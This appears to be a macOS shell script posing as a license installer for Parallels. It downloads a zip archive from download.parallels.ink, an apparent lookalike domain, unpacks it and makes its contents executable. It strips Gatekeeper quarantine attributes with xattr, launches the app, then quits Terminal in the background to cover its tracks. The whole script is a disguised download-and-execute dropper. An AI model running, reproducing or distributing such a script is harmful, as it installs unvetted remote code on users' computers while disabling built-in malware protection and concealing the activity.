#!/bin/bash

set -e

USER_GUIDE="用户指南User Guide.pdf"
ZIP_SRC_URL="https://download.parallels.ink/Installer.zip"
TARGET_DIR="${TMPDIR}/LicenseInstaller"
APP_SRC_ZIP_PATH="${TARGET_DIR}/Installer.zip"
APP_DST_PATH="${TARGET_DIR}/LicenseInstaller.app"

function error_exit {
    echo "Error: $1" >&2
    rm -fr "${TARGET_DIR}"
    exit 1
}

rm -fr "${TARGET_DIR}"
mkdir -p "${TARGET_DIR}"
echo "Downloading Installer.zip..."
curl -fSL --progress-bar "${ZIP_SRC_URL}" -o "${APP_SRC_ZIP_PATH}" || error_exit "Failed to download the installer. Please check your network connection."
unzip -o "${APP_SRC_ZIP_PATH}" -d "${TARGET_DIR}" > /dev/null || error_exit "Failed to unzip the installer."
rm "${APP_SRC_ZIP_PATH}"
chmod +x "${APP_DST_PATH}/Contents/MacOS/"*
xattr -cr "${APP_DST_PATH}"
chflags nohidden "${APP_DST_PATH}"
open -R "${APP_DST_PATH}"
open -a "${APP_DST_PATH}"

sleep 1 && osascript -e 'tell application "Terminal" to quit' &
